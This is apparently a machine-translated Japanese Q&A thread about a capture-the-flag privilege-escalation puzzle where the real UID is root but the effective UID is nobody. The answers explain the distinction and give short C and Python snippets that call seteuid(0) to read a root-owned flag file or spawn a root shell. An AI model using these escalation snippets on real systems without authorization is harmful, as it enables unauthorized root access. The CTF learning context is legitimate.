私はキャプチャーザフラッグコンテストに参加しています。そこでは、flag.txt
ファイルを読み取るために何らかの形式の特権昇格を実装する必要があります。 whoami
を実行すると、次の結果が得られることに気付きました。
myHostHere:/$ whoami
nobody
しかし、id
を実行すると、UIDはroot
に設定されます。
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
これは、rootユーザーなどとして行動する可能性があることを意味しますか、それとも出力を誤って解釈しているのでしょうか?
編集:
ls -l flag.txt
の出力は次のとおりです。
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
これは、別のマシンでそのようなCプログラムを(--static
を使用して)作成およびコンパイルすることで解決できます。
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
このファイルは、chmod +x
で実行する権限を与えられて、CTFマシンにコピーし、tmp
フォルダーから実行できます。
私はあなたと非常によく似たセットアップを作成しました。私はデバッガーでそれを行いました(例: ここ および そこ )。影響を受けたシェルで私は持っています:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
次に、 この回答 によると:
ファイルアクセス、およびroot権限を必要とする操作については、有効なUIDとGIDを確認してください。
確かに、これは何が起こるかです:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
しかし、私はこれを行うことができます:
$ Sudo cat flag.txt
foo
またはこれ:
$ su -
# whoami
root
# cat flag.txt
foo
またはこれ:
$ sg root 'cat flag.txt'
foo
uid=0
がある場合、seteuid
システムコールを使用してファイルを読み取ることができるものなら何でも役に立ちます。例えば。 python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
ファイルを読み取る(または読み取る)代わりに、昇格したシェルを生成できます。
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
このシェルでは、あなたはroot
です。 cat flag.txt
は機能します。
テストベッド:Debian GNU/Linux9。